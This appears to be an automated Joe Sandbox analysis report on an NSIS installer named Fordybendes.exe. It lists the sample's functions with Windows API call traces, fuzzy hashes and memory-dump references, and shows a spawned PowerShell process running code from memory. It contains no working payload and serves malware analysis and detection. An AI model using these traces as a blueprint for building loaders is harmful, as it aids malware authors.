Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$Formerer Setup: Completed
API String ID: 3540041739-1535429583
Opcode ID: a5732b3fab1214b731562ca4b882e9a365cf2c12af788ea161dae27cdf89a830
Instruction ID: 0f727862f51d352610fea8a63e59c27acbad4445b5ecdc76debdb0bc002e9b6e
Opcode Fuzzy Hash: a5732b3fab1214b731562ca4b882e9a365cf2c12af788ea161dae27cdf89a830
Instruction Fuzzy Hash: ED11DA73A041287BDB00656D9C42FAF329CDB85374F25023BFA26F61D1E978DC5242E9

Function 00402D60 Relevance: 7.6, APIs: 5, Instructions: 84registryCOMMON

Download Yara Rule

APIs

RegEnumValueA.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,?,00100020,?,?,?), ref: 00402DB4
RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402E00
RegCloseKey.ADVAPI32(?,?,?), ref: 00402E09
RegDeleteKeyA.ADVAPI32(?,?), ref: 00402E20
RegCloseKey.ADVAPI32(?,?,?), ref: 00402E2B

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: CloseEnum$DeleteValue
String ID:
API String ID: 1354259210-0
Opcode ID: 31db4fe3a83ab3222004bb99c88de970b8ea6707b57bc237e5c93fbc2d64a622
Instruction ID: f0574f2b681fe1c4d88f4d4805d4ce7f29dc2b98a501eac4c49c2c54c95910d6
Opcode Fuzzy Hash: 31db4fe3a83ab3222004bb99c88de970b8ea6707b57bc237e5c93fbc2d64a622
Instruction Fuzzy Hash: A5214872500108BBDF129F90CE89EEB7B6DEB04344F1004B6BA15B11A0E7B48F54AAA8

Function 00401D8A Relevance: 7.6, APIs: 5, Instructions: 75windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401DA3
GetClientRect.USER32(?,?), ref: 00401DF1
LoadImageA.USER32(?,?,?,?,?,?), ref: 00401E21
SendMessageA.USER32(?,00000172,?,00000000), ref: 00401E35
DeleteObject.GDI32(00000000), ref: 00401E45

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 4f8b06ef1554d3130525af37609f0cd59d85352a8a990cb9f2c0f1b35a7c96bf
Instruction ID: 746c59d1437bb01e9975c654004221c93fbac59f453bb30d5aabfb267da63d2b
Opcode Fuzzy Hash: 4f8b06ef1554d3130525af37609f0cd59d85352a8a990cb9f2c0f1b35a7c96bf
Instruction Fuzzy Hash: 79210A72A00509AFDF15DF94DD45AAEBBB6FB48301F10407AF905F62A1CB389941DB58

Function 00401E5A Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401E5D
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401E77
MulDiv.KERNEL32(00000000,00000000), ref: 00401E7F
ReleaseDC.USER32(?,00000000), ref: 00401E90
CreateFontIndirectA.GDI32(0040B800), ref: 00401EDF

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: 0b7de653160e8b353b9f1c57968828fe86a8407ec40fb4ead828515f31cf0746
Instruction ID: 19317440b73845a0a85ac2cd22d5e5bd56122c2d5af6ad324d0524dc50571349
Opcode Fuzzy Hash: 0b7de653160e8b353b9f1c57968828fe86a8407ec40fb4ead828515f31cf0746
Instruction Fuzzy Hash: FF014072545244AFE7007B60AE49A9E3FB8E755301F10887AF181B62F2CB7805458B6D

Function 00401C53 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutA.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401CC3
SendMessageA.USER32(00000000,00000000,?,?), ref: 00401CDB

Strings

!, xrefs: 00401C8F

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 70784c9047b60046e9e3528a8d3de8a6dccf642d7c00f88c70359578e2944abe
Instruction ID: 28bf5349fbdec280649c1153a3a1bbf5ef22c16b7a5e3f55ad78bc54c06e69b8
Opcode Fuzzy Hash: 70784c9047b60046e9e3528a8d3de8a6dccf642d7c00f88c70359578e2944abe
Instruction Fuzzy Hash: 2821B471948209BFEF05AFA4DA86AAE7FB1EF44304F20447EF505B61D1C6B98681DB18

Function 00405BE9 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,0040338F,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040367F,?,00000008,0000000A,0000000C), ref: 00405BEF
CharPrevA.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,0040338F,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040367F,?,00000008,0000000A,0000000C), ref: 00405BF8
lstrcatA.KERNEL32(?,0040A014,?,00000008,0000000A,0000000C), ref: 00405C09

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405BE9

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3916508600
Opcode ID: 1585f28ce29590c56c09183d2983d03a0d8d28acc38857c1cbd7e9952efaabbf
Instruction ID: cba260e235d0580f5c950035338bb0f46aaad3af700efad284f84c88228f902a
Opcode Fuzzy Hash: 1585f28ce29590c56c09183d2983d03a0d8d28acc38857c1cbd7e9952efaabbf
Instruction Fuzzy Hash: 42D0A762609A306AE10136254D05EDB194C8F0235070504AAF140B21A1C67C4C1147FD

Function 004020CA Relevance: 6.1, APIs: 4, Instructions: 73libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,00000001,000000F0), ref: 004020F5

Part of subcall function 0040539B: lstrlenA.KERNEL32(Completed,00000000,004178D8,00000000,?,?,?,?,?,?,?,?,?,00403298,00000000,?), ref: 004053D4
Part of subcall function 0040539B: lstrlenA.KERNEL32(00403298,Completed,00000000,004178D8,00000000,?,?,?,?,?,?,?,?,?,00403298,00000000), ref: 004053E4
Part of subcall function 0040539B: lstrcatA.KERNEL32(Completed,00403298,00403298,Completed,00000000,004178D8,00000000), ref: 004053F7
Part of subcall function 0040539B: SetWindowTextA.USER32(Completed,Completed), ref: 00405409
Part of subcall function 0040539B: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 0040542F
Part of subcall function 0040539B: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00405449
Part of subcall function 0040539B: SendMessageA.USER32(?,00001013,?,00000000), ref: 00405457

LoadLibraryExA.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 00402105
GetProcAddress.KERNEL32(00000000,?), ref: 00402115
FreeLibrary.KERNEL32(00000000,00000000,000000F7,?,?,00000008,00000001,000000F0), ref: 0040217F

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
String ID:
API String ID: 2987980305-0
Opcode ID: 083136209f82a1f6c8acada991fbfcc078ca93f0b6e0e02eb5193b41b271fd1f
Instruction ID: 5ccb39c5250578943a79f1b53d37ee95c19345989512242465d2bde015d905a0
Opcode Fuzzy Hash: 083136209f82a1f6c8acada991fbfcc078ca93f0b6e0e02eb5193b41b271fd1f
Instruction Fuzzy Hash: 9621DB31A04115ABCF10BF649F89B6F7560AF40358F20413BF611B61D1CBBD4A839A5E

Function 00402ECD Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,004030AB,00000001,?,?,004036EC,?,?,00000008,0000000A,0000000C), ref: 00402EE0
GetTickCount.KERNEL32 ref: 00402EFE
CreateDialogParamA.USER32(0000006F,00000000,00402E4A,00000000), ref: 00402F1B
ShowWindow.USER32(00000000,00000005,?,?,004036EC,?,?,00000008,0000000A,0000000C), ref: 00402F29

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 1d3f055a620e94d7ccdcda5491db08c2aebb89be3b413bcb1de2378eb3418377
Instruction ID: 09342015f1b1cf9a52f0fbe22e70ee98646cc1a5079e40a8b9524ecf846e7703
Opcode Fuzzy Hash: 1d3f055a620e94d7ccdcda5491db08c2aebb89be3b413bcb1de2378eb3418377
Instruction Fuzzy Hash: 5FF05E30551621EBC661EB50FE4CA9B7BA4FB44B12711443AF004B16A8CB7448868BDC

Function 0040530F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0040533E
CallWindowProcA.USER32(?,?,?,?), ref: 0040538F

Part of subcall function 00404343: SendMessageA.USER32(00010488,00000000,00000000,00000000), ref: 00404355

Strings

, xrefs: 0040531F

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 1a3edb13fbb9d77a7e945387c8f49b4177271b2a1e893ed2b4ba779e46112139
Instruction ID: 7782e163affc8db73a001c6411346d0d8bc7086ce8c9e55e25ece69e8a57b7a3
Opcode Fuzzy Hash: 1a3edb13fbb9d77a7e945387c8f49b4177271b2a1e893ed2b4ba779e46112139
Instruction Fuzzy Hash: 50015EB160060CAFEF215F51DD80AAB3766EB84390F104136FE017A1D1C7BA9992DE69

Function 00405CD7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406257: lstrcpynA.KERNEL32(0000000C,0000000C,00000400,00403545,Formerer Setup,NSIS Error,?,00000008,0000000A,0000000C), ref: 00406264

Part of subcall function 00405C82: CharNextA.USER32(?,?,00421D28,0000000C,00405CEE,00421D28,00421D28,761336B0,?,C:\Users\user\AppData\Local\Temp\,00405A39,?,761336B0,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Fordybendes.exe"), ref: 00405C90
Part of subcall function 00405C82: CharNextA.USER32(00000000), ref: 00405C95
Part of subcall function 00405C82: CharNextA.USER32(00000000), ref: 00405CA9

lstrlenA.KERNEL32(00421D28,00000000,00421D28,00421D28,761336B0,?,C:\Users\user\AppData\Local\Temp\,00405A39,?,761336B0,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Fordybendes.exe"), ref: 00405D2A
GetFileAttributesA.KERNEL32(00421D28,00421D28,00421D28,00421D28,00421D28,00421D28,00000000,00421D28,00421D28,761336B0,?,C:\Users\user\AppData\Local\Temp\,00405A39,?,761336B0,C:\Users\user\AppData\Local\Temp\), ref: 00405D3A

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405CD7

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 3248276644-3916508600
Opcode ID: 2a969093c675307beb61016a7d711a3cc48518ddeb68e40ae6e7fa30b2cf6e1d
Instruction ID: a0c4f5802b8783ed5b0ab004fa410debae2a95b7635eb7a7420141fd0de1c27f
Opcode Fuzzy Hash: 2a969093c675307beb61016a7d711a3cc48518ddeb68e40ae6e7fa30b2cf6e1d
Instruction Fuzzy Hash: 9BF0C835118F6526E72632391C49AAF1A45CD93328719453FFCA2B52D1CE3C89439E6E

Function 0040613E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.ADVAPI32(?,?,00000000,?,?,00000400,: Completed,?,?,?,?,00000000,?,?,004063FC,80000002), ref: 00406184
RegCloseKey.ADVAPI32(?,?,004063FC,80000002,Software\Microsoft\Windows\CurrentVersion,?,: Completed,?,?,Completed), ref: 0040618F

Strings

: Completed, xrefs: 00406175

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: CloseQueryValue
String ID: : Completed
API String ID: 3356406503-2954849223
Opcode ID: 2abccbe21afdcf7b2969046f12d50590a05fc3777738c5024e31ebbb51756706
Instruction ID: 76517841fcd29efece62e5e1a2c360dd076a242d2a9727e46a6747b1579fdab2
Opcode Fuzzy Hash: 2abccbe21afdcf7b2969046f12d50590a05fc3777738c5024e31ebbb51756706
Instruction Fuzzy Hash: 8F017C72500209ABDF22CF61CC09FDB3FACEF55364F05803AF956A6192D278D964DBA4

Function 004039CB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,761336B0,00000000,C:\Users\user\AppData\Local\Temp\,004039A3,00403789,?,?,00000008,0000000A,0000000C), ref: 004039E5
GlobalFree.KERNEL32(00000000), ref: 004039EC

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004039CB

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-3916508600
Opcode ID: ca298928d6acf9595f75de0ead6f6aa016ee95e771ecb86a17bb6358c8d46369
Instruction ID: f1be465c367285d7fd3695d73ea3e51cf945aaeab50562acdc69a15f0740ffc8
Opcode Fuzzy Hash: ca298928d6acf9595f75de0ead6f6aa016ee95e771ecb86a17bb6358c8d46369
Instruction Fuzzy Hash: 50E012339011309BCB216F49EE0579A77A86F44B22F09417BE9847B261CBB45C875BD8

Function 00405C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(80000000,C:\Users\user\Desktop,00402F9D,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Fordybendes.exe,C:\Users\user\Desktop\Fordybendes.exe,80000000,00000003,?,?,004036EC,?,?,00000008,0000000A), ref: 00405C36
CharPrevA.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402F9D,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Fordybendes.exe,C:\Users\user\Desktop\Fordybendes.exe,80000000,00000003,?,?,004036EC,?), ref: 00405C44

Strings

C:\Users\user\Desktop, xrefs: 00405C30

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-1669384263
Opcode ID: 636972430895b8d26769eef308ecf034eeaaaa2c94ab7ae9d1342fa23427dc1b
Instruction ID: b844601d19cb383c6f31b516b40f73b18c9a52bfffe10955a395c2d16e96f730
Opcode Fuzzy Hash: 636972430895b8d26769eef308ecf034eeaaaa2c94ab7ae9d1342fa23427dc1b
Instruction Fuzzy Hash: 3ED0A76240CE745EF30362208D00B9F6A88DF12340F0A04E6F081A2190C2780C414BAD

Function 00405D4F Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405FAA,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D5F
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405D77
CharNextA.USER32(00000000,?,00000000,00405FAA,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D88
lstrlenA.KERNEL32(00000000,?,00000000,00405FAA,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D91

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 4f1eaa0065bfc49b54b56e64601aea382fadfb9647de4ff4bb676f0ffe3a7a9e
Instruction ID: 43996ca3ab7d586e29a4a0ccbdc95befbe25e9bf7c7258af82bb3841131231c5
Opcode Fuzzy Hash: 4f1eaa0065bfc49b54b56e64601aea382fadfb9647de4ff4bb676f0ffe3a7a9e
Instruction Fuzzy Hash: 5FF06236204418BFCB129FA5DD4499FBBA8EF45254B2580AAE840F7211D674DE01ABA9

Analysis Process: powershell.exePID: 7400, Parent PID: 7180COMMON

Execution Graph

Execution Coverage:	7.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.3%
Total number of Nodes:	91
Total number of Limit Nodes:	2

Executed Functions

Function 081ED8E4 Relevance: 1.9, Instructions: 1921
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.2739425438.00000000081E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 081E0000, based on PE: false

Joe Sandbox IDA Plugin

